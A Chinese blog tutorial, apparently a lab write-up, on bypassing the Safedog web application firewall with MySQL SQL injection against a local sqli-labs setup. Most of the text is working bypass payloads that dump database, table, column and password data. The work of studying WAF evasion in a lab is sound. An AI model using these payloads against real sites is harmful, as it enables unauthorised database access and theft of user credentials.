前言
SQL注入并不是很精通,通過實戰繞過WAF來進行加強SQL注入能力,希望對正在學習的師傅能有一絲幫助。
安裝
安裝前言
我是本地搭建的環境進行測試的
環境是windows11+phpstudy2018+sqli-labs
phpstudy的安裝我不再複述,這裡簡單說一下安全狗插件和安全狗的安裝。
過程
在安裝安全狗之前,一定要先做好安裝apache2.4這一項,否則可能要浪費半個下午的時間來整(受害者本人自述了屬于是),因為在提前安裝好這個後,再安裝安全狗,就會出現如下圖所示的情況,這時候就很容易進行配置了
而如果你後安裝apache2.4,出現Apache插件安裝失敗的可能性極大,那我們要怎麼安裝apache2.4呢,很簡單,首先找到你apache下的bin路徑,我的是"D:\phpStudy\PHPTutorial\Apache\bin",然後進入cmd中(以管理者身份運作)
C:\Windows\system32>d:
D:\>cd D:\phpStudy\PHPTutorial\Apache\bin
D:\phpStudy\PHPTutorial\Apache\bin> httpd -k install -n apache2.4
//安裝插件
此時插件的安裝就完成了,直接去官網找Apache版本的安全狗
下載下傳到本地即可,此時進行安裝(不要開啟phpstudy),此時選擇好安裝路徑後就會出現配置界面,它安裝過插件的話一般是會自動檢測的
此時直接點選确定就好了,然後打開就會發現插件是已安裝的
此時看安全狗這個網站安全狗與防護總開關是否都開啟,隻有都開啟了才有效,此時再去打開phpstudy,一般他就應該是自己變成系統服務了,如果沒變的話就再選擇一下即可
然後此時的話這個防護網站變成1個就說明配置好了
去通路網站就可以發現安全狗生效了
構造1=1
方法一
首先這裡的話是嘗試一個1=1,發現是不可以的
更換成true=true進行嘗試
仍然不行,此時發現當and和後面沒有空格的時候就會報錯
我們這裡嘗試用/*
/來充當注釋符
發現還是被過濾了,此時我們就利用bp來進行fuzz,抓包後在/
*/中添加變量(為爆破做準備)
選擇暴力破解,字元集就選/!*進行測試即可
得到結果
發現很多都可以充當空格來進行繞過,我們随意挑選一個進行嘗試,構造payload如下
id=1' and/*////*/1 --+
成功繞過
方法二
當然常見的還有一個内聯注釋符,就是/*!00000*/這種的,用執行個體來解釋是最好了解的
mysql> select @@version;
+-----------+
| @@version |
+-----------+
| 5.5.53 |
+-----------+
1 row in set (0.00 sec)
mysql> select /*!999991*/;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
mysql> select /*!000001*/;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
mysql> select /*!1*/;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
mysql> select /*!505531*/;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
mysql> select /*!505541*/;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
這種注釋在mysql中叫做内聯注釋,如果沒有接版本号時,會直接執行裡面内容。當!後面接資料庫版本号時,如果自身版本号(上述例子中的5.5.53)大于等于字元數(例如上述例子中的99999和00000),就會将注釋中的内容執行,否則就會當做注釋來處理。
那麼這裡的話,我們就想構造1=1,就可以利用它來進行繞過,我們構造如下/*!000001*/=/*!000001*/語句嘗試進行繞過
可以發現成功繞過了
order by 繞過
直接利用的話可以發現是不可以的
由1=1的構造思路,我們嘗試構造空格來進行繞過,構造payload如下
id=1' order/*////*/by 3 --+
id=1' order/*////*/by 4 --+
成功判斷出來了字段數為3
聯合查詢
首先的話是想利用内聯注釋來進行一個繞過,因為單獨的一個union和單獨的select都是可以的,此時我就想利用它内聯注釋字元數大于版本号時将其内語句作為注釋來進行一個繞過,
測試過程如下
選擇暴力破解,設定0-9依次進行爆破
而後得到結果
發現這種利用垃圾字元的内聯注釋方式無法再次繞過,此時我們去嘗試進行其他方法,想到之前的fuzz/**/中間加東西可以繞過,不妨試一下這種,設定如下
選擇暴力破解,将字元集進行更換即可
得到結果
發現有很多可以繞過的,随便選一個來進行測試,構造payload如下
id=-1' union/*/!*!**/select 1,2,3--+
可以發現正常執行了,說明繞過了,這裡再給出幾個payload,師傅們可以自行測試
id=-1' union/*//--**/select 1,2,3--+
id=-1' union/*/!--**/select 1,2,3--+
id=-1' union/*/-*!!*/select 1,2,3--+
爆庫
方法一(/**/方法)
此時直接去将3變成database()會被繞過,此時我是想用/*xxx*/()這種方式來進行繞過,利用bp設定如下
而後如下設定暴力破解
得到結果
可以發現有很多方式,我們随便挑選一個進行測試
id=-1' union/*/!*!**/select 1,2,database/*///-*/()--+
成功繞過
方法二(/*!*/内聯注釋法)
我們設定payload為/*!()*/這種,利用bp在括号前面加上五個數字,依次來檢驗哪個可以進行繞過,具體設定如下
而後選暴力破解,設定如下
得到結果
随機取出一個進行測試,構造payload如下
id=-1' union/*/!*!**/select 1,2,database/*!20553()*/--+
成功繞過
爆表
正常的話語句一般是這個樣子
group_concat(table_name) from information_schema.tables where table_schema=database()
那麼這裡的話我們測試過後就會發現information_schema被過濾了,它倆隻要在一起挨着就會被過濾
同時呢,我們也發現利用from的時候也會被過濾
對這兩個進行分别fuzz的話比較麻煩,而且将兩者進行一起用時可能會出現仍然被過濾的情況,是以此時的話就自然的想到了内聯注釋這種方法,可不可以用這種方法來進行繞過呢,我們先嘗試一下
from/*!information_schema.tables*/
結果如下
顯然這種是不可行的,但是我們知道還有一種的話就是内聯注釋的利用方法就是中間加注釋符再加換行,也就是/*!%23%0a*/這種形式,我們先進行本地測試
mysql> select /*!#
-> 1*/;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
mysql> select /*!#/*
-> 1*/
-> ;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
此時經過本地測試發現,當運用内聯注釋時,裡面插入/*,來構造/**/,也是可以實作繞過的,此時我們先試本地測試的第一種方法
?id=-1' union/*/!*!**/select%201,2,group_concat(table_name)from/*!%23%0ainformation_schema.tables*/ where table_schema='security'--+
此時被繞過,那我們就用剛剛測試出來的第二種方法進行嘗試
?id=-1' union/*/!*!**/select%201,2,group_concat(table_name)from/*!%23/*%0ainformation_schema.tables*/ where table_schema='security'--+
此時想有沒有可能是過濾了%23,我們将%23換成--+
構造payload如下
?id=-1' union/*/!*!**/select%201,2,group_concat(table_name)from/*!--+/*%0ainformation_schema.tables*/ where table_schema='security'--+
得到了全部表
爆列
有了表名的注入,那麼注入列名也不是件太難的事情,修改一下語句即可,構造payload如下
?id=-1' union/*/!*!**/select%201,2,group_concat(column_name)from/*!--+/*%0ainformation_schema.columns*/ where table_name='users'--+
爆字段資訊
同理,修改語句即可
?id=-1' union/*/!*!**/select%201,2,group_concat(id,password)from/*!--+/*%0ausers*/--+
其他姿勢
like["%23"]
在學習其他師傅的文章時,偶然間發現這個like["%23"],這個的話我們知道%23是注釋符的含義,那麼在這裡的時候,它這個語句到底有什麼作用呢,我們測試一下就知道了
首先先正常查一個字段資訊
select * from users where id=1 ;
此時可以發現有一個結果,我們加上我們的like["%23"],構造payload如下
select * from users where id=1 like "[%23]";
此時表變成空的了,那我們如果此時這樣構造payload
select * from users where id=1 like "[%23]" union select * from users;
我們知道前面users where id=1 like "[%23]"這個是空,那它這條語句就相當于
select * from users
如下圖所示
那麼此時我們就可以去我們的靶場進行測試,看是否能繞過
id=-1' like "[%23]" /*!10440union select*/ 1,2,3 --+
發現沒有繞過,此時我們将union後的空格用換行符替代
id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,3 --+
此時就可以注入了,是以新的姿勢就出現了,其他具體的不再列舉,這裡給出payload
//爆庫
id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,database/*!--+/*%0a()*/ --+
//爆表
id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,group_concat(table_name)from/*!--+/*%0ainformation_schema.tables */where table_schema='security'--+
//爆列
id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,group_concat(column_name)from/*!--+/*%0ainformation_schema.columns */where table_name='users'--+
//爆字段
id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,group_concat(id,username,password)from/*!--+/*%0ausers*/--+
參考文獻
https://xz.aliyun.com/t/10479#toc-0
https://zhuanlan.zhihu.com/p/472880971
https://cloud.tencent.com/developer/article/1856738
https://blog.csdn.net/weixin_39190897/article/details/115841059
https://blog.csdn.net/Drifter_Galaxy/article/details/108435339
https://www.freebuf.com/articles/web/321240.html
https://www.cnblogs.com/Cl0ud/p/14493204.html
申明:本文僅供技術交流,請自覺遵守網絡安全相關法律法規,切勿利用文章内的相關技術從事非法活動,如是以産生的一切不良後果與文章作者無關 本文原創作者:quan9i
蟻景網絡安全 專注網安人才培養!